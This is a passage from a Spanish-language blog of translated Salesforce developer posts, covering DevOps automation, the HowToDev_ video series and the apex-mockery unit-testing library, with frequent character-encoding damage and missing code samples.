El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo esté al tanto de cualquier problema al instante, lo que permite una respuesta rápida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.

La implementación de estas herramientas de automatización en Salesforce DevOps implica el uso estratégico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditoría de aplicaciones de su organización, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle automáticamente sobre errores o excepciones.

Conclusión

La automatización combinada con las prácticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el éxito en el vertiginoso panorama digital actual.

Para implementar la automatización en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podrían automatizarse. Luego, implemente herramientas adecuadas para tareas como integración continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementación de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.

La adopci√≥n de la automatizaci√≥n en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce contin√ļa evolucionando, el papel de la automatizaci√≥n crecer√° a√ļn m√°s, dando forma al futuro del desarrollo de Salesforce.

Este art√≠culo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el dise√Īo, el comercio electr√≥nico, el marketing digital y el esp√≠ritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un inter√©s particular en el dise√Īo gr√°fico, el SEO y las redes sociales.

Evaluación formativa:

¬°Quiero saber de ti!

¬ŅQu√© es una cosa que aprendiste de esta publicaci√≥n? ¬ŅC√≥mo imagina aplicar este nuevo conocimiento en el mundo real? Si√©ntase libre de compartir en los comentarios a continuaci√≥n.

Seguir leyendo

Presentamos HowToDev_ ‚ėĀÔłŹ

Presentamos HowToDev_ ‚ėĀÔłŹ

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Presentamos HowToDev_ | Blog de desarrolladores de Salesforce

HowToDev_ es una nueva serie sobre Salesforce+ que creamos para ayudar a los desarrolladores a familiarizarse con Salesforce Platform. Si ya tiene habilidades tecnológicas pero es nuevo en el ecosistema de Salesforce, o si desea aprender un poco sobre el desarrollo, ¡HowToDev_ es la serie para usted!

En esta nueva serie, aprenderá a ampliar la Plataforma de Salesforce y crear aplicaciones personalizadas utilizando potentes funciones de desarrollo de Salesforce líderes en la industria. Seré su anfitrión y, en cada episodio, lo explicaré cómo tomar una interfaz de usuario basada en datos que viene lista para usar con Salesforce y crear una experiencia intuitiva e interactiva que facilite la vida de los usuarios.

Descripción general de la plataforma de Salesforce

La plataforma de Salesforce re√ļne una serie de servicios de infraestructura, red, aplicaciones y datos para crear una poderosa herramienta que puede ampliar en un abrir y cerrar de ojos. Esto se debe a muchas de las complejidades que puede haber utilizado en otras plataformas de usuarios y desarrolladores. En el primer episodio de HowToDev_, repasamos una descripci√≥n general de Salesforce Platform y c√≥mo puede crear objetos personalizados para ampliar el modelo de datos.

Realmente solo necesita preocuparse por la aplicación y los servicios de datos que se le proporcionan para construir. Desde su front-end hasta sus API, todo sale de la caja listo para que comience a construir.

¬°Vamos a codificar!

¡Espera un segundo! Hay algunas cosas que necesita saber aquí antes de abrir ese entorno de desarrollo. Aquí hay un vistazo de lo que cubrimos en el Episodio 1 .

Comprender la importancia de los metadatos en Salesforce: Nosotros explicar la función de los metadatos, que representan toda la configuración, la automatización y la interfaz de usuario en el entorno de Salesforce.

Definición de qué son una aplicación y una organización en Salesforce: aclaramos los conceptos de una aplicación y una organización en Salesforce, subrayando su distinción con respecto a las aplicaciones y organizaciones tradicionales.

Creación del objeto de propiedad : demostramos el proceso de creación de un objeto personalizado (el objeto de propiedad) en Configuración de Salesforce, que funciona como una tabla de base de datos para administrar y rastrear propiedades.

Agregar nuevos campos al objeto: agregamos dos nuevos campos personalizados al objeto Propiedad (es decir, Fecha de cotización y Días en el mercado), que resaltan la naturaleza dinámica de los campos de Salesforce.

Mirando hacia el futuro: Concluimos el episodio con una mirada al futuro de lo que cubrirá la serie, prometiendo una futura exploración de la codificación y la resolución de problemas complejos dentro de Salesforce.

Una vez que tenga una mayor comprensión de estos conceptos, ¡podemos abrir la CLI en el Episodio 2 !

Dónde ver HowToDev_

Todos los episodios se lanzaron a la vez en Salesforce+, ¡así que puede disfrutarlos todos ahora! Esto es lo que se trata en cada episodio:

Episodio 1: Descripción general de la plataforma Salesforce
Episodio 2: Herramientas para desarrolladores de Salesforce
Episodio 3: Código en Salesforce con Apex, SOQL y DML
Episodio 4: compilar componentes web Lightning
Episodio 5: Automatización con flujo y disparadores
Episodio 6: Completar y lanzar su aplicación Salesforce

M√°s recursos

  • HowToDev_ Repositorio de GitHub : este es el lugar donde encontrar√° todo el c√≥digo, las definiciones, los enlaces y los documentos a los que se hace referencia en la serie.
  • Creamos una divertida Trailhead Quest para completar mientras ves HowToDev_. √önase a la b√ļsqueda ahora para poner a prueba sus conocimientos y tener la oportunidad de ganar* uno de los 10 paquetes de premios HowToDev_, que incluyen un par de Apple AirPods y un estuche personalizado de Salesforce Developers. Tambi√©n recibir√° una insignia exclusiva de la comunidad HowToDev_ en Trailhead. Complete la misi√≥n en cualquier momento antes del 31 de julio a las 11:59 p. m. (hora del Pac√≠fico) para participar y ganar.

Sobre el Autor

Stephan Chandler-Garcia es promotor de desarrolladores en Salesforce. Ha estado en el ecosistema de Salesforce durante m√°s de 10 a√Īos como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario de Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, s√≠galo en Twitter @stephanwcg o @schandlergarcia en GitHub, y consulte su repositorio de GitHub para ver c√≥digo de muestra y proyectos.

Obtenga las √ļltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav√©s de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Presentamos apex-mockery, una biblioteca de simulaci√≥n de pruebas unitarias ‚ėĀÔłŹ

Presentamos apex-mockery, una biblioteca de simulaci√≥n de pruebas unitarias ‚ėĀÔłŹ

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Presentamos apex-mockery, una biblioteca de simulación de pruebas unitarias | Blog de desarrolladores de Salesforce

Escribir pruebas sólidas es crucial para crear aplicaciones comerciales confiables y eficientes. En esta publicación, haremos un repaso de las pruebas unitarias y presentaremos apex-mockery , una biblioteca liviana de pruebas unitarias de Apex que lo ayuda a escribir pruebas unitarias de Apex verdaderamente desacopladas usando simulacros y aserciones. Compartiremos ejemplos de código para ayudarlo a comprender cómo puede usar la biblioteca para crear pruebas unitarias fáciles de entender y de ejecución rápida.

Un repaso a las pruebas unitarias

Antes de echar un vistazo a la biblioteca de Apex-Mockery, demos un paso atrás y analicemos algunos de los conceptos básicos de las pruebas unitarias desde un punto de vista independiente de la tecnología. Luego, veremos Apex y discutiremos por qué la mayoría de nosotros debería escribir pruebas unitarias en lugar de pruebas de integración.

Las pruebas unitarias est√°n en la base de la pir√°mide de prueba.

La ingenier√≠a de software abarca m√ļltiples tipos de pruebas: unidad, integraci√≥n, servicio, interfaz de usuario funcional, de extremo a extremo, aceptaci√≥n del usuario y m√°s. Como dice Martin Fowler , podemos representar un buen equilibrio entre estos tipos de pruebas dentro del alcance de un proyecto represent√°ndolos como una pir√°mide.

Las etiquetas (tipos de prueba) pueden cambiar, pero el principio clave aquí es que las pruebas que se ejecutan rápido y con frecuencia deben estar en la parte inferior de la pirámide. Estos son los más fáciles de implementar y mantener (por lo que cuestan menos). Luego, a medida que subimos a la cima, aumentamos la complejidad y el costo: las pruebas se ejecutan más lentamente y se vuelven más difíciles de implementar y mantener.

En el contexto de esta publicaci√≥n y en aras de la brevedad, nos centraremos √ļnicamente en las pruebas unitarias. Estos son los primeros que debe implementar en cualquier proyecto, y deben ser una prioridad en su estrategia de prueba.

Por definición, las pruebas unitarias están destinadas a probar la menor cantidad de código (una unidad) de un proyecto. Las pruebas unitarias solo deben basarse en la lógica pura y estar completamente desvinculadas de sus dependencias (otras clases) y límites (otros servicios, como almacenamiento de datos o servicios web). Las pruebas unitarias deben ejecutarse rápido; no requieren una configuración de prueba particular, como la inserción de datos en la base de datos, y requieren que simule las dependencias de la clase bajo prueba.

Escribir pruebas unitarias de Apex en lugar de pruebas de integración

Apex se beneficia de una estrecha integración con la Plataforma de Salesforce y, si bien esta característica es excelente para cosas como acceder rápida y fácilmente a la base de datos, difumina las líneas de separación de preocupaciones entre la lógica y los servicios. Como consecuencia, es muy fácil escribir pruebas de integración de Apex en lugar de pruebas unitarias. Por ejemplo, el código de Apex a menudo se prueba junto con la base de datos utilizando declaraciones @TestSetup y DML. Si bien estas pruebas de integración ayudan a lograr la cobertura, se basan en la base de datos y, por lo tanto, requieren más tiempo para ejecutarse que las pruebas unitarias "puras".

Como compartió Mitch Spano en su presentación de pruebas unitarias puras de Apex , la mayoría de las veces, no es necesario confiar en las pruebas de integración para probar capas de software de alto nivel, como controladores LWC, servicios y capas de aplicación. Gracias a la API de Stub de Apex lanzada en Spring '17, los desarrolladores pueden romper con esas dependencias en el contexto de las pruebas mediante la creación de su propia biblioteca/marco de pruebas unitarias o el uso de uno existente como apex-mockery.

Presentamos la burla del √°pice

Como parte del trabajo de ingeniería de Salesforce, estábamos desarrollando un paquete administrado internamente y necesitábamos una biblioteca para escribir pruebas unitarias. Queríamos escribir pasos simples de "arreglar" (como en el patrón Arrange-Act-Assert ), escribir afirmaciones comprensibles y burlarnos de nuestras dependencias. Buscamos en todo el ecosistema una biblioteca fácil de leer y bien probada que pudiéramos usar para crear nuestro producto, pero no encontramos una combinación perfecta, por lo que decidimos escribir la nuestra. Estábamos tan contentos con la implementación final de la biblioteca que decidimos lanzarla como código abierto con el nombre apex-mockery .

La biblioteca apex-mockery proporciona una biblioteca de simulaci√≥n simple, liviana y f√°cil de leer para Apex creada con la API Stub. La biblioteca est√° dise√Īada para que sea f√°cil de usar y brinde la mejor experiencia de desarrollador posible al generar simulacros y ap√©ndices, configurar esp√≠as y escribir aserciones.

Lo guiaremos a través de un escenario de muestra para que pueda comprender el poder de la biblioteca con algunos ejemplos prácticos. Luego, le mostraremos cómo puede escribir pruebas para este proyecto de muestra en tres pasos:

  1. Crear simulacros y espías de métodos.
  2. Métodos de espionaje de trozo
  3. escribir afirmaciones

Ejemplo de escenario: pedidos de panadería y entrega

Considere el siguiente escenario de ejemplo: una panader√≠a toma pedidos de pasteler√≠a y planifica las entregas utilizando un servicio dedicado. Los √ļnicos datos que estamos considerando en el contexto de este escenario son los nombres de los pasteles y su fecha de entrega.

A continuación se muestra la implementación básica de nuestro escenario de panadería (el código completo está disponible en el repositorio del proyecto ).

Pastelería.cls

DeliveryService.cls

DeliveryServiceImpl.cls

Confirmación de pedido.cls

Panadería.cls

Ahora que hemos echado un vistazo a nuestro proyecto de muestra, echemos un vistazo a cómo podríamos escribir pruebas para el método Bakery.order .

Paso 1: crea simulacros y espías de métodos

Para funcionar, la clase Bakery necesita que se pase una instancia DeliveryService en su constructor. En un contexto de producción, el servicio se proporciona con una instancia concreta DeliveryServiceImpl de la siguiente manera:

Sin embargo, en el contexto de las pruebas unitarias, no debe usar una instancia de servicio real para garantizar el desacoplamiento. En otras palabras, DelivertServiceImpl se probará unitariamente por sí solo, por lo que no es necesario que pruebe las dos clases integradas juntas. Puede reemplazar la dependencia del servicio con un simulacro que implemente la interfaz DeliverService .

Así es como puede crear e inyectar fácilmente un simulacro de este tipo, gracias a apex-mockery:

Luego, su prueba necesita un espía, para que pueda controlar el comportamiento del método planDelivery y ejecutar aserciones en sus llamadas.

Ahora que tiene un servicio simulado y un espía en su método planDelivery , veamos cómo puede configurar su espía y ejecutar aserciones en él.

Paso 2: métodos de espionaje de trozo

Una vez que tenga una instancia simulada, puede controlar cómo se comportan sus métodos controlando sus valores de retorno y lanzando excepciones.

Utilice los métodos returns y throwsException para especificar un comportamiento predeterminado que se aplica a todas las llamadas a los métodos auxiliares. Luego, si es necesario, usa una combinación de whenCalledWith(<args>).thenReturn y whenCalledWith(<args>).thenThrow para aplicar comportamientos específicos a las llamadas a métodos que coincidan con los argumentos especificados.

Durante la ejecución de la prueba, apex-mockery comienza buscando una coincidencia en la configuración proporcionada por whenCalledWith . Si no se encuentra ninguno, vuelve a la configuración predeterminada ( returns o throwException ).

Veamos algunas situaciones comunes de configuración de stubs (ver más recetas ).

  • Devolver algo cada vez que se llame planDelivery
  • Lanza una excepci√≥n cada vez que se llama planDelivery
  • Devuelve algo cuando se llama con un argumento espec√≠fico
  • Lanza una excepci√≥n cuando se llama con un argumento espec√≠fico

Ahora que sabe cómo impulsar el comportamiento de su simulacro, puede agregar aserciones para probar su código.

Paso 3: Escribe afirmaciones

apex-mockery proporciona una API de afirmaciones fluidas. Tan pronto como comience su expectativa con Expect.that(mySpy) , tendrá acceso a varios métodos de afirmación. La biblioteca viene con una serie de afirmaciones de comportamiento fáciles de usar, como:

Si los comparadores de argumentos básicos no son suficientes para sus necesidades, también puede crear sus propios comparadores de argumentos personalizados .

Uniendo el ejemplo completo

Ahora que vimos los pasos individuales, terminemos y echemos un vistazo a nuestra prueba para el método Bakery.order . Observe cómo puede usar aserciones de burla de Apex, junto con las aserciones estándar de Apex de la clase system.Assert , en sus pruebas.

palabras de cierre

Esto concluye nuestro recorrido por las pruebas unitarias y la biblioteca de Apex-Mockery. Aprendió cómo las pruebas unitarias desacopladas son más fáciles de escribir y ejecutar mucho más rápido. Tener pruebas rápidas acorta el ciclo de retroalimentación del ciclo de vida del desarrollo, reduce la duración de la ejecución del flujo de trabajo de CI y acelera las implementaciones. Estos factores permiten a los desarrolladores implementar y ejecutar pruebas con frecuencia, mejorando así la calidad.

apex-mockery lo ayuda a dirigir su proyecto en esta dirección. Consulte el repositorio del proyecto para comenzar. Encontrará la documentación de la biblioteca con las opciones de instrucciones de instalación (instalación de fuente o paquete desbloqueado), algunas recetas de muestra y una guía de migración. ¡Feliz prueba unitaria!

Sobre los autores

Ludovic Meurillon es ingeniero de software en el equipo de Service Cloud en Grenoble, Francia. Empuj√≥ el c√≥digo a la producci√≥n durante a√Īos, disfruta eliminando m√°s l√≠neas de c√≥digo de las que agrega y prefiere la programaci√≥n en pares sobre las revisiones de c√≥digo y los productos de trabajo sobre el dise√Īo perfecto. S√≠galo en Twitter @LudoMeurillon o consulte sus proyectos de GitHub @ludomeurillon .

Sébastien Colladon es CTA e ingeniero de software en el equipo de Service Cloud en París, Francia. Le encanta contribuir a hacer del ecosistema de Salesforce un lugar mejor y disfruta aprender y trabajar con otros. Consulte sus proyectos de GitHub @ scolladon .

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las √ļltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav√©s de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo